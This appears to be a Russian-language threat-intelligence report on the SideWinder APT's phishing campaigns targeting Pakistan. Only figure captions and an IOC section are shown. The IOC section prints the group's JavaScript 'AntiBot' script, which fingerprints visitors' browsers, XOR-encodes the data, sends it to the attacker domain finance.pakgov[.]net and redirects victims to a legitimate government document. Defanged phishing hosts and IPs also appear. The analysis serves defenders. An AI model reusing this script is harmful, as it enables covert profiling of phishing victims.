Ключевые находки
Кто такие SideWinder
Изображение 1. Фрагмент уведомления об атаках группы SideWinder
Изображение 3. Логин-панель фишинговой страницы - http://5.2.79[.]135/!/n/
Сетевая инфраструктура SideWinder
Изображение 4. Связанные с 2.56.245[.]21 сетевые объекты.
Изображение 5. Фрагмент связанной с группой SideWinder сетевой инфраструктуры.
Категоризация фишинга
Изображение 6. Скриншот с редиректом на легитимный securevpn.com
Изображение 7. Скриншот из магазина Google Play
Изображение 8. Скриншот из магазина расширений Microsoft Edge
Изображение 9. Запрос на корень страницы api.vpn-secure[.]co
Kill Chain
Изображение 13. Скриншот с вредоносной ссылкой в Facebook
Изображение 14. Скриншот с запросом hxxps://finance.pakgov[.]net/salary-a4222e91 и редиректом на легитимный finance.gov.pk
Изображение 15. Редирект на легитимный документ.
Изображение 16. Фрагмент кода SideWinder.AntiBot.Script (фрагмент кода скрипта доступен ниже в списке индикаторов компрометации)
Изображение 17. Скриншот фейковой страницы CloudFlare
Изображение 18. Скриншот ошибки совместимости платформы.
Изображение 19. Сниппет кода SideWinder.AntiBot.Script
Изображение 20. Сниппет кода SideWinder.AntiBot.Script
Изображение 21. Сниппет кода SideWinder.AntiBot.Script
Изображение 24. Сниппет кода SideWinder.AntiBot.Script
Изображение 25. Сниппет кода SideWinder.AntiBot.Script
Изображение 26. Сниппет кода SideWinder.AntiBot.Script
Изображение 27. Сниппет кода SideWinder.AntiBot.Script
Изображение 28. Скриншот с сетевыми запросами
Изображение 29. Сниппет вредоносного кода, который выдает полезную нагрузку.
Изображение 30. Содержимое “Pay and Pension Increase Circular_Finance Division.zip”
Изображение 31. Содержимое “Pay and Pension Increase Circular_Finance Division.pdf.lnk”
Изображение 32. Скриншот ошибки получения второй стадии полезной нагрузки
Изображение 33. Фрагмент Kill Chain взятый из https://mp.weixin.qq.com/s/Kkta59k7r81uIBjJvE9pCw
IOCs
<script>
function buttonClick() {
if (navigator.geolocation) {
navigator.geolocation.getCurrentPosition(showPosition);
} else {
x.innerHTML = 'Geolocation is not supported by this browser.';
}
}
function showPosition(position) {
alert(`lat ${position.coords.latitude} long ${position.coords.longitude}`);
}
</script>
<script>
var postUrl = 'https://finance.pakgov[.]net/733/1/670/2/0/0/1874372994/HvEdALWHsRoqS3eIArlDgXiyAcvV5TsjfqF7kVAK/files-8adb0199/ads';
function encode(data, xorKey) {
let enc = new TextEncoder();
let dataBuff = enc.encode(data);
let keyBuff = enc.encode(xorKey);
let output = [];
for (let i = 0; i < dataBuff.length; i++) output[i] = dataBuff[i] ^ keyBuff[i % keyBuff.length];
return new Blob([new Uint8Array(output)]);
}
function redirect() {
window.location.replace('https://www.finance.gov.pk/circulars/circular_14042022_2.pdf');
}
function postData(data) {
try {
var secretKey = '34-D4-3D-5B-6E-31-77-E7-27-06-96-CE-BE-E6-B5';
const finalData = JSON.stringify(data);
const encriptedData = encode(finalData, secretKey);
fetch(postUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/text'
},
body: encriptedData
})
.then(() => {
redirect();
})
.catch((err) => {
redirect();
});
} catch (err) {
redirect();
}
}
function isCanvasSupported() {
var elem = document.createElement('canvas');
return !!(elem.getContext && elem.getContext('2d'));
}
function getBrowserDetails(gpuData) {
var result = {};
try {
result.gpuData = gpuData;
result.navigatorInfo = {
oscpu: navigator.oscpu,
credentials: navigator.credentials,
clipboard: navigator.clipboard,
hardwareConcurrency: navigator.hardwareConcurrency,
geolocation: navigator.geolocation,
userAgent: navigator.userAgent,
language: navigator.language,
languages: navigator.languages
};
try {
result.canvasSupported = isCanvasSupported();
} catch (canvasErr) {}
result.utcOffset = new Date().getTimezoneOffset() / 60;
postData(result);
} catch (err) {
redirect();
}
}
function postDetection(data) {
var detectionPostUrl = 'https://finance.pakgov[.]net/733/1/670/2/0/0/1874372994/HvEdALWHsRoqS3eIArlDgXiyAcvV5TsjfqF7kVAK/files-867fdc8a/adscom';
try {
fetch(detectionPostUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/text'
},
body: data
})
.then(() => {
redirect();
})
.catch((err) => {
redirect();
});
} catch (err) {
redirect();
}
}